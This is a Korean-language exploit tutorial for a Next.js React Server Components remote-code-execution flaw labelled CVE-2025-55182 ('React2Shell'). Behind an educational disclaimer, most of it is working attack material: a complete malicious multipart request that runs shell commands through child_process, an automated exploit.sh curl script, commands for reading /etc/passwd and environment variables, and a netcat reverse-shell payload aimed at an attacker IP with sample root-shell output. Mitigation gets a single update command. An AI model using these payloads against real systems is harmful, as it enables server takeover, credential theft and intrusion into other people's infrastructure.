CVE-2025-55182 – React2Shell

Next.js 원격 코드 실행

⚠️ 면책 조항: 이 문서는 교육 및 보안 연구 목적으로만 제공됩니다. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 이러한 기술을 무단으로 사용하는 것은 불법입니다.

---

📋 목차

1. 개요
2. 작동 원리
3. 설치 및 설정
4. 단계별 악용
5. 결과 및 영향
6. 완화 전략

---

개요

CVE-2025-55182는 React2Shell로도 알려져 있으며, 다음을 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 취약점입니다:

• React 서버 컴포넌트 (RSC)
• 서버 액션 (Server Actions)

왜 위험한가?

공격자는 다음을 악용하여 서버에서 원격 코드 실행 (RCE) 을 달성할 수 있습니다:

1. RSC 페이로드의 안전하지 않은 역직렬화
2. __proto__ 및 constructor를 통한 프로토타입 오염
3. Next.js 서버 런타임의 동적 실행 경로

결과: Node.js 프로세스의 권한으로 임의의 시스템 명령이 실행될 수 있습니다.

---

작동 원리

1단계: Next.js RSC 프로토콜

Next.js는 클라이언트와 서버 간 통신을 위해 고유한 multipart/form-data 프로토콜을 사용합니다:

• 클라이언트는 React 서버 컴포넌트를 서버로 전송합니다
• 서버는 이를 역직렬화하고 처리합니다
• 결과는 클라이언트로 반환됩니다

Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

2단계: 약점 - 안전하지 않은 역직렬화

취약점은 다음 때문에 존재합니다:

1. 역직렬화 전에 사용자 제어 데이터가 검증되지 않습니다
2. 프로토타입 체인 접근이 허용됩니다 (__proto__, constructor)
3. 요청 처리 중 특정 필드가 동적으로 평가됩니다

3단계: 프로토타입 오염 공격

공격자는 내부 객체 속성을 수정하는 페이로드를 제작할 수 있습니다:

{
  "then": "$1:__proto__:then",  // 프로토타입 체인을 대상으로 함
  "_response": {
    "_prefix": "malicious code here"  // 코드 주입
  }
}

__proto__를 악용하여 공격자는 JavaScript 객체의 프로토타입을 오염시키고, 이를 상속하는 모든 객체에 영향을 미칩니다.

4단계: 코드 주입

공격자는 _prefix 필드 안에 다음을 수행하는 JavaScript 코드를 주입합니다:

1. process.mainModule.require()를 통해 Node.js 모듈에 접근
2. child_process 모듈 로드
3. execSync()를 사용하여 시스템 명령 실행

var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

5단계: 결과 추출

명령 결과는 오류 응답에 숨겨집니다:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js는 이 오류를 클라이언트에 반환하며, 명령 출력은 digest 필드에서 확인할 수 있습니다.

---

설치 및 설정

사전 요구 사항

• Node.js 20
• Burp Suite (또는 요청 가로채기용 유사 도구)
• curl 또는 Postman (페이로드 전송용)

1단계: 취약한 서버 클론 및 설치

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

2단계: 서버 시작

npm run dev

이제 서버는 다음 주소에서 접근할 수 있습니다:

http://localhost:3000

3단계: 서버 실행 확인

curl http://localhost:3000/

이 단계에서는 서버가 정상적으로 동작합니다.

---

단계별 악용

방법 1: Burp Suite 사용 (수동 가로채기)

1단계: 가로채기 활성화

1. Burp Suite를 엽니다
2. Proxy → Intercept 탭으로 이동합니다
3. Intercept is on을 활성화합니다
4. 브라우저에서 http://localhost:3000/에 접속합니다

2단계: 요청 가로채기

GET 요청이 가로채집니다. 이를 Repeater 탭으로 보냅니다:

1. 마우스 오른쪽 클릭 → Send to Repeater
2. Repeater 탭으로 이동합니다

3단계: 악성 페이로드로 교체

전체 요청을 다음 페이로드로 교체합니다:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

4단계: 요청 전송

Send를 클릭합니다

---

방법 2: 자동화된 악용 스크립트

exploit.sh 파일을 생성합니다:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

실행 권한을 부여합니다:

chmod +x exploit.sh
./exploit.sh

---

예시 명령

파일 및 디렉터리 목록

COMMAND="ls -la /"

현재 사용자 확인

COMMAND="whoami"

파일 읽기

COMMAND="cat /etc/passwd"

네트워크 연결 확인

COMMAND="netstat -tuln"

환경 변수 가져오기

COMMAND="env"

---

리버스 셸 (완전한 서버 접근)

완전한 대화형 셸 접근을 얻으려면 리버스 셸을 사용합니다.

공격자 시스템에서: 연결 대기

ncat -lvnp 9009

또는 netcat 사용:

nc -lvnp 9009

대상 시스템에서: 리버스 셸 페이로드 전송

다음 명령으로 페이로드를 수정합니다 (<ATTACKER_IP>를 자신의 IP 주소로 교체):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

전체 페이로드는 다음과 같습니다:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

기대 결과

❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

이제 대상 서버에서 완전한 대화형 셸을 사용할 수 있습니다.

---

결과 및 영향

서버 응답

악용에 성공하면:

1. 서버는 HTTP 500 Internal Server Error로 응답합니다
2. 응답 본문에는 실행된 시스템 명령의 출력이 포함됩니다
3. 출력은 오류 응답의 digest 필드에 포함됩니다

예시 응답

Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

잠재적 영향

• 🔥 완전한 원격 코드 실행 (RCE)
• 📂 전체 파일시스템 접근
• 🔐 자격 증명 및 비밀 탈취
• 🚨 내부 네트워크 내 측면 이동
• 💥 서버 완전 장악
• 🔗 공급망 공격 (배포된 애플리케이션을 손상시키는 데 사용되는 경우)
• 📊 데이터 유출 및 변조

---

완화 전략

시스템 관리자를 위한 지침

1. 즉시 Next.js 업데이트

npm install next@latest